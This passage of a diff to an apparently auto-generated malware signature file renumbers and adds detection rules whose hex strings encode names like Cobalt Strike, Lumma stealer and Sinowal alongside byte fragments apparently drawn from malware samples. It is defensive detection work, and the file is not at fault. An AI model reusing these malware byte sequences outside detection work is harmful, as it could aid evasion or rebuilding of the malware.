ca 88 0e 8b c8 c1 e9 08 89 4d 08 8b cf c1 e9 08 89 4d fc 8b d8 c1 eb 18 8b c8 c1 e9 10 22 d9 22 5d 08 8b cf c1 e9 10 22 ca 8a 55 fc 32 d9 8b 4d f8 8d 3c 00 33 f8 22 d1 00 00 78 6f 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 4a 54 21 4d 54 42 00 01 00 3c 03 8a 04 0f 81 e2 90 01 04 03 c2 33 d2 f7 35 90 01 04 a1 90 01 04 8b 00 8b ea 8b 54 24 90 01 01 8a 14 10 32 14 29 8b 6c 24 90 01 01 88 } //-254 + $a_6f_1 = {2e 61 73 70 78 01 00 0d 01 2f 64 65 66 61 75 6c 74 2e 61 73 70 78 00 00 78 6e 00 00 0f 00 0f 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 64 69 65 2e 4b 4b 21 4d 54 42 00 05 00 1d 03 8b c3 c1 e0 10 25 ff ff ff 7f 0b 05 90 01 02 21 00 89 46 48 8b c3 48 83 c4 28 5b 90 00 0a 00 21 01 } //28524 + $a_28_2 = {8d 4c 24 20 e8 a2 28 03 00 0f b7 44 24 20 c1 e0 06 0f b6 4c 24 22 0b c1 48 83 c4 28 00 00 78 6e 00 00 0f 00 0f 00 03 00 21 23 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 4d 69 73 6e 61 6d 65 64 4d 69 6e 69 75 6e 7a 00 05 00 0e 01 4d 69 6e 69 55 6e 7a 20 31 2e 30 31 62 2c 05 00 18 01 69 6e 20 75 6e 7a 47 65 74 43 75 72 72 65 6e 74 46 69 6c 65 49 6e 66 6f 05 00 14 01 55 73 61 67 65 20 3a 20 6d 69 6e 69 75 6e 7a 20 5b 2d 65 5d 00 00 78 6e 00 00 10 00 10 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 58 6c 6c 44 6f 77 6e 6c 6f 61 64 65 72 2e 42 00 0a 00 1e 80 01 3c 65 78 74 65 72 6e 61 6c 6c 69 62 72 61 72 79 20 70 61 74 68 3d 22 70 61 63 6b 65 64 3a 03 00 0c 80 01 65 78 63 65 6c 64 6e } //-31928 + $a_6c_3 = {03 00 0a 80 01 78 6c 61 75 74 6f 6f 70 65 6e 00 00 78 6f 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 49 6e 6a 65 63 74 6f 72 2e 53 30 34 00 01 00 3d 03 f6 c4 41 75 10 68 90 01 02 00 00 8d 95 90 01 02 ff ff ff d2 83 c4 04 8a 86 90 01 04 8a 15 90 01 04 32 c2 3c 3a 88 84 35 90 01 02 ff ff 77 09 fe c8 88 84 } //11873 + $a_02_4 = {ff } //-28619 condition: - ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*28524+(#a_6c_2 & 1)*18036+(#a_64_3 & 1)*27491+(#a_ff_4 & 1)*-254) >=14 + ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*28524+(#a_28_2 & 1)*-31928+(#a_6c_3 & 1)*11873+(#a_02_4 & 1)*-28619) >=14 } -rule _InfrastructureShared_6748{ +rule _InfrastructureShared_7114{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 64 69 65 2e 4b 4b 21 4d 54 42 00 05 00 1d 03 8b c3 c1 e0 10 25 ff ff ff 7f 0b 05 90 01 02 21 00 89 46 48 8b c3 48 83 c4 28 5b 90 00 0a 00 21 01 48 83 ec 28 48 8d } //21539 + $a_e8_1 = {28 03 00 0f b7 44 24 20 c1 e0 06 0f b6 4c 24 22 0b c1 48 83 c4 28 00 00 78 6e 00 00 0f 00 0f 00 } //9292 + condition: + ((#a_4c_0 & 1)*21539+(#a_e8_1 & 1)*9292) >=15 + +} +rule _InfrastructureShared_7115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 03 00 21 " @@ -70510,7 +74373,7 @@ rule _InfrastructureShared_6748{ ((#a_6f_0 & 1)*20515+(#a_6a_1 & 1)*29268+(#a_56_2 & 1)*21076) >=15 } -rule _InfrastructureShared_6749{ +rule _InfrastructureShared_7116{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 03 00 21 " @@ -70522,7 +74385,7 @@ rule _InfrastructureShared_6749{ ((#a_46_0 & 1)*21283+(#a_6c_1 & 1)*11873+(#a_02_2 & 1)*-28619) >=16 } -rule _InfrastructureShared_6750{ +rule _InfrastructureShared_7117{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70532,7 +74395,7 @@ rule _InfrastructureShared_6750{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6751{ +rule _InfrastructureShared_7118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70542,7 +74405,7 @@ rule _InfrastructureShared_6751{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6752{ +rule _InfrastructureShared_7119{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70552,7 +74415,7 @@ rule _InfrastructureShared_6752{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6753{ +rule _InfrastructureShared_7120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70562,7 +74425,7 @@ rule _InfrastructureShared_6753{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6754{ +rule _InfrastructureShared_7121{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70572,7 +74435,7 @@ rule _InfrastructureShared_6754{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6755{ +rule _InfrastructureShared_7122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70582,7 +74445,7 @@ rule _InfrastructureShared_6755{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6756{ +rule _InfrastructureShared_7123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70592,7 +74455,7 @@ rule _InfrastructureShared_6756{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6757{ +rule _InfrastructureShared_7124{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70602,7 +74465,7 @@ rule _InfrastructureShared_6757{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6758{ +rule _InfrastructureShared_7125{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70612,7 +74475,7 @@ rule _InfrastructureShared_6758{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6759{ +rule _InfrastructureShared_7126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70622,7 +74485,7 @@ rule _InfrastructureShared_6759{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6760{ +rule _InfrastructureShared_7127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70632,7 +74495,7 @@ rule _InfrastructureShared_6760{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6761{ +rule _InfrastructureShared_7128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70642,7 +74505,7 @@ rule _InfrastructureShared_6761{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6762{ +rule _InfrastructureShared_7129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70652,7 +74515,7 @@ rule _InfrastructureShared_6762{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6763{ +rule _InfrastructureShared_7130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70662,7 +74525,7 @@ rule _InfrastructureShared_6763{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6764{ +rule _InfrastructureShared_7131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70672,7 +74535,7 @@ rule _InfrastructureShared_6764{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6765{ +rule _InfrastructureShared_7132{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70682,7 +74545,7 @@ rule _InfrastructureShared_6765{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6766{ +rule _InfrastructureShared_7133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70692,7 +74555,7 @@ rule _InfrastructureShared_6766{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6767{ +rule _InfrastructureShared_7134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70702,7 +74565,7 @@ rule _InfrastructureShared_6767{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6768{ +rule _InfrastructureShared_7135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70712,7 +74575,7 @@ rule _InfrastructureShared_6768{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6769{ +rule _InfrastructureShared_7136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70722,7 +74585,7 @@ rule _InfrastructureShared_6769{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6770{ +rule _InfrastructureShared_7137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70732,7 +74595,7 @@ rule _InfrastructureShared_6770{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6771{ +rule _InfrastructureShared_7138{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70742,7 +74605,7 @@ rule _InfrastructureShared_6771{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6772{ +rule _InfrastructureShared_7139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70752,7 +74615,7 @@ rule _InfrastructureShared_6772{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6773{ +rule _InfrastructureShared_7140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70762,7 +74625,7 @@ rule _InfrastructureShared_6773{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6774{ +rule _InfrastructureShared_7141{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70772,7 +74635,7 @@ rule _InfrastructureShared_6774{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6775{ +rule _InfrastructureShared_7142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70782,7 +74645,7 @@ rule _InfrastructureShared_6775{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6776{ +rule _InfrastructureShared_7143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70792,7 +74655,7 @@ rule _InfrastructureShared_6776{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6777{ +rule _InfrastructureShared_7144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70802,7 +74665,7 @@ rule _InfrastructureShared_6777{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6778{ +rule _InfrastructureShared_7145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70812,7 +74675,7 @@ rule _InfrastructureShared_6778{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6779{ +rule _InfrastructureShared_7146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70822,7 +74685,7 @@ rule _InfrastructureShared_6779{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6780{ +rule _InfrastructureShared_7147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70832,7 +74695,7 @@ rule _InfrastructureShared_6780{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6781{ +rule _InfrastructureShared_7148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70842,7 +74705,7 @@ rule _InfrastructureShared_6781{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6782{ +rule _InfrastructureShared_7149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70852,7 +74715,7 @@ rule _InfrastructureShared_6782{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6783{ +rule _InfrastructureShared_7150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70862,7 +74725,7 @@ rule _InfrastructureShared_6783{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6784{ +rule _InfrastructureShared_7151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70872,7 +74735,27 @@ rule _InfrastructureShared_6784{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6785{ +rule _InfrastructureShared_7152{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 6c 75 70 74 65 62 61 2e 53 41 21 4d 54 42 00 01 00 40 03 8b 45 fc ff 50 14 89 45 d0 b8 90 01 04 50 ff 75 d4 8b 45 fc ff 50 18 8b 55 fc 89 02 b8 90 01 04 50 ff 75 d4 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_7153{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 63 53 74 65 61 6c 65 72 2e 49 53 21 4d 54 42 00 01 00 3b 03 0f b6 54 3c 90 01 01 89 fe 83 e6 90 01 01 89 f9 81 f1 90 01 04 01 f1 01 f1 31 d1 89 4c 24 90 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_7154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70882,7 +74765,7 @@ rule _InfrastructureShared_6785{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6786{ +rule _InfrastructureShared_7155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -70892,29 +74775,40 @@ rule _InfrastructureShared_6786{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6787{ +rule _InfrastructureShared_7156{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " strings : $a_46_0 = {59 32 56 3a 73 69 67 6e 61 74 75 72 65 5f 62 61 73 65 2f 68 61 74 6d 61 6e 5f 6d 65 6d 63 70 79 00 01 00 1c 01 7c a9 03 a6 38 84 ff ff 38 63 ff ff 8c a4 00 01 9c a3 00 01 42 00 ff f8 4e 80 00 20 01 00 1c 01 a6 03 a9 7c ff ff 84 } //16675 - $a_63_1 = {01 00 a4 8c 01 00 a3 9c f8 ff 00 42 20 00 80 4e 00 00 78 6f 00 00 01 00 01 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 72 79 76 61 6e 2e 53 21 64 68 61 00 01 00 20 03 69 c0 00 00 2b 18 c1 ea 10 69 d2 d5 e7 d5 1a 2b c2 2d e8 84 d8 62 41 81 f9 90 01 04 72 d9 90 00 01 00 1c 00 69 db 00 00 2b 18 c1 e8 10 69 c0 d5 e7 d5 1a 2b d8 81 eb e8 84 d8 62 47 ff 4d fc 75 00 00 78 6f 00 00 01 00 01 00 02 00 21 23 48 53 54 52 3a 50 57 53 3a 57 69 6e 33 32 2f 53 69 6e 6f 77 61 6c 2e 67 65 6e 21 59 2e 41 00 01 00 1d 03 ff 75 20 ff 75 90 01 01 8b 45 10 8b 75 2c 8b 7d 30 8b 6d 28 ff e0 5f 5e 8b e5 5d 90 00 01 00 21 03 8b 75 2c 8b 7d 30 8b 45 10 8b 6d 28 ff e0 5f 5e 8b e5 5d 90 0a 30 00 ff 75 20 90 02 20 ff 75 90 00 00 00 78 6f 00 00 01 00 01 } //-200 + $a_63_1 = {01 00 a4 8c 01 00 a3 9c f8 ff 00 42 20 00 80 4e 00 00 78 6f 00 00 01 00 01 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 72 79 76 61 6e 2e 53 21 64 68 61 00 01 00 20 03 69 c0 00 00 2b 18 c1 ea 10 69 d2 d5 e7 d5 1a 2b c2 2d e8 84 d8 62 41 81 f9 90 01 04 72 d9 90 00 01 00 1c 00 69 db 00 00 2b 18 c1 e8 10 69 c0 d5 e7 d5 1a 2b d8 81 eb e8 84 d8 62 47 ff 4d fc 75 00 00 78 6f 00 00 01 00 01 00 02 00 21 23 48 53 54 52 3a 44 72 69 76 65 72 53 75 73 70 53 65 63 74 69 6f 6e 73 2e 48 41 21 4d 54 42 00 01 00 1f 03 50 45 00 00 4c 01 90 01 06 00 00 00 00 00 00 00 00 e0 00 90 01 02 0b 01 90 01 42 01 00 90 00 01 00 1f 03 50 45 00 00 64 86 90 01 06 00 00 00 00 00 00 00 00 f0 00 90 01 02 0b 02 90 01 42 01 00 90 00 00 00 78 6f 00 00 01 00 01 } //-200 condition: ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*-200) >=1 } -rule _InfrastructureShared_6788{ +rule _InfrastructureShared_7157{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " strings : $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 72 79 76 61 6e 2e 53 21 64 68 61 00 01 00 20 03 69 c0 00 00 2b 18 c1 ea 10 69 d2 d5 e7 d5 1a 2b c2 2d e8 84 d8 62 41 81 f9 90 01 04 72 d9 90 00 01 00 1c 00 69 db 00 00 2b 18 c1 } //16675 - $a_c0_1 = {e7 d5 1a 2b d8 81 eb e8 84 d8 62 47 ff 4d fc 75 00 00 78 6f 00 00 01 00 01 00 02 00 21 23 48 53 54 52 3a 50 57 53 3a 57 69 6e 33 32 2f 53 69 6e 6f 77 61 6c 2e 67 65 6e 21 59 2e 41 00 01 00 1d 03 ff 75 20 ff 75 90 01 01 8b 45 10 8b 75 2c 8b 7d 30 8b 6d 28 ff e0 5f 5e 8b e5 5d 90 00 01 00 21 03 8b 75 2c 8b 7d 30 8b } //4328 + $a_c0_1 = {e7 d5 1a 2b d8 81 eb e8 84 d8 62 47 ff 4d fc 75 00 00 78 6f 00 00 01 00 01 00 02 00 21 23 48 53 54 52 3a 44 72 69 76 65 72 53 75 73 70 53 65 63 74 69 6f 6e 73 2e 48 41 21 4d 54 42 00 01 00 1f 03 50 45 00 00 4c 01 90 01 06 00 00 00 00 00 00 00 00 e0 00 90 01 02 0b 01 90 01 42 01 00 90 00 01 00 1f 03 50 45 00 00 64 } //4328 condition: ((#a_46_0 & 1)*16675+(#a_c0_1 & 1)*4328) >=1 } -rule _InfrastructureShared_6789{ +rule _InfrastructureShared_7158{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " + + strings : + $a_54_0 = {3a 44 72 69 76 65 72 53 75 73 70 53 65 63 74 69 6f 6e 73 2e 48 41 21 4d 54 42 00 01 00 1f 03 50 45 00 00 4c 01 90 01 06 00 00 00 00 00 00 00 00 e0 00 90 01 02 0b 01 90 01 42 01 00 90 00 01 00 1f 03 50 45 00 00 64 86 90 01 06 00 00 00 00 00 00 00 00 } //18467 + $a_01_1 = {02 0b 02 90 01 42 01 00 90 00 00 00 78 6f 00 00 01 00 01 00 02 00 21 23 48 53 54 52 3a 50 57 53 3a 57 69 6e 33 32 2f 53 69 6e 6f 77 61 6c 2e 67 65 6e 21 59 2e 41 00 01 00 1d 03 ff 75 20 ff 75 90 01 01 8b 45 10 8b 75 2c 8b 7d 30 8b 6d 28 ff e0 5f 5e 8b e5 5d 90 00 01 00 21 03 8b 75 2c 8b 7d 30 8b 45 10 8b 6d 28 ff e0 5f 5e 8b e5 5d 90 0a 30 00 ff 75 20 90 02 20 ff 75 90 00 00 00 78 6f 00 00 01 00 01 00 02 00 21 23 48 53 54 52 3a } //240 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*240) >=1 + +} +rule _InfrastructureShared_7159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -70925,7 +74819,7 @@ rule _InfrastructureShared_6789{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2704) >=1 } -rule _InfrastructureShared_6790{ +rule _InfrastructureShared_7160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -70936,7 +74830,7 @@ rule _InfrastructureShared_6790{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*23830) >=1 } -rule _InfrastructureShared_6791{ +rule _InfrastructureShared_7161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -70947,7 +74841,7 @@ rule _InfrastructureShared_6791{ ((#a_54_0 & 1)*18467+(#a_1f_1 & 1)*768) >=1 } -rule _InfrastructureShared_6792{ +rule _InfrastructureShared_7162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -70957,7 +74851,7 @@ rule _InfrastructureShared_6792{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6793{ +rule _InfrastructureShared_7163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -70968,7 +74862,7 @@ rule _InfrastructureShared_6793{ ((#a_46_0 & 1)*21283+(#a_6c_1 & 1)*26987) >=1 } -rule _InfrastructureShared_6794{ +rule _InfrastructureShared_7164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -70979,7 +74873,7 @@ rule _InfrastructureShared_6794{ ((#a_4c_0 & 1)*21539+(#a_6a_1 & 1)*29888) >=1 } -rule _InfrastructureShared_6795{ +rule _InfrastructureShared_7165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -70990,7 +74884,7 @@ rule _InfrastructureShared_6795{ ((#a_46_0 & 1)*16675+(#a_89_1 & 1)*4608) >=1 } -rule _InfrastructureShared_6796{ +rule _InfrastructureShared_7166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -71001,19 +74895,19 @@ rule _InfrastructureShared_6796{ ((#a_54_0 & 1)*18467+(#a_ec_1 & 1)*-14480) >=1 } -rule _InfrastructureShared_6797{ +rule _InfrastructureShared_7167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 52 61 6e 62 79 75 73 21 6f 62 66 00 01 00 0e 01 78 00 75 00 79 00 65 00 67 00 6f 00 00 00 01 00 14 01 62 00 6f 00 72 00 61 00 6d 00 6f 00 72 00 35 00 34 00 00 00 01 00 16 01 31 fb 8b 7c 24 38 31 fb } //18467 $a_04_1 = {03 7c 24 04 2b 7c 24 04 31 fb 00 00 78 6f 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 48 53 54 52 3a 56 69 72 } //31883 - $a_6c_2 = {57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 41 50 44 00 02 00 3b 03 83 c1 01 89 0d 90 01 04 81 3d 90 01 06 00 00 73 90 01 01 8b 15 90 01 04 0f b6 82 90 01 04 8b 0d 90 01 04 03 0d 90 01 04 0f be 11 33 c2 8b 0d 90 01 04 03 0d 90 01 04 88 01 90 00 00 00 78 6f 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 53 54 52 3a 56 69 72 54 } //28500 + $a_6c_2 = {57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 41 50 44 00 02 00 3b 03 83 c1 01 89 0d 90 01 04 81 3d 90 01 06 00 00 73 90 01 01 8b 15 90 01 04 0f b6 82 90 01 04 8b 0d 90 01 04 03 0d 90 01 04 0f be 11 33 c2 8b 0d 90 01 04 03 0d 90 01 04 88 01 90 00 00 00 78 6f 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 } //28500 condition: ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*31883+(#a_6c_2 & 1)*28500) >=1 } -rule _InfrastructureShared_6798{ +rule _InfrastructureShared_7168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -71023,7 +74917,17 @@ rule _InfrastructureShared_6798{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_6799{ +rule _InfrastructureShared_7169{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 50 43 4d 44 21 4d 54 42 00 02 00 3a 03 0f b6 d1 0f b6 4c 14 90 01 01 88 4c 24 90 01 01 88 54 14 90 01 01 0f b6 4c 24 90 01 01 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_7170{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -71034,7 +74938,7 @@ rule _InfrastructureShared_6799{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*5631) >=2 } -rule _InfrastructureShared_6800{ +rule _InfrastructureShared_7171{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -71044,7 +74948,7 @@ rule _InfrastructureShared_6800{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_6801{ +rule _InfrastructureShared_7172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -71054,7 +74958,7 @@ rule _InfrastructureShared_6801{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_6802{ +rule _InfrastructureShared_7173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -71065,18 +74969,28 @@ rule _InfrastructureShared_6802{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*28521) >=2 } -rule _InfrastructureShared_6803{ +rule _InfrastructureShared_7174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_54_0 = {3a 41 50 49 43 61 6c 6c 2e 42 61 72 7a 61 4c 44 52 2e 53 30 30 31 00 01 00 1f 02 4c 6f 61 64 4c 69 62 72 61 72 79 45 78 57 90 02 0a 4c 6f 61 64 4c 69 62 72 61 72 79 57 90 00 01 00 23 02 56 69 72 74 75 61 6c 41 6c 6c 6f 63 90 02 0a 56 69 72 74 75 61 } //18467 - $a_6c_1 = {63 45 78 4e 75 6d 61 90 00 00 00 78 6f 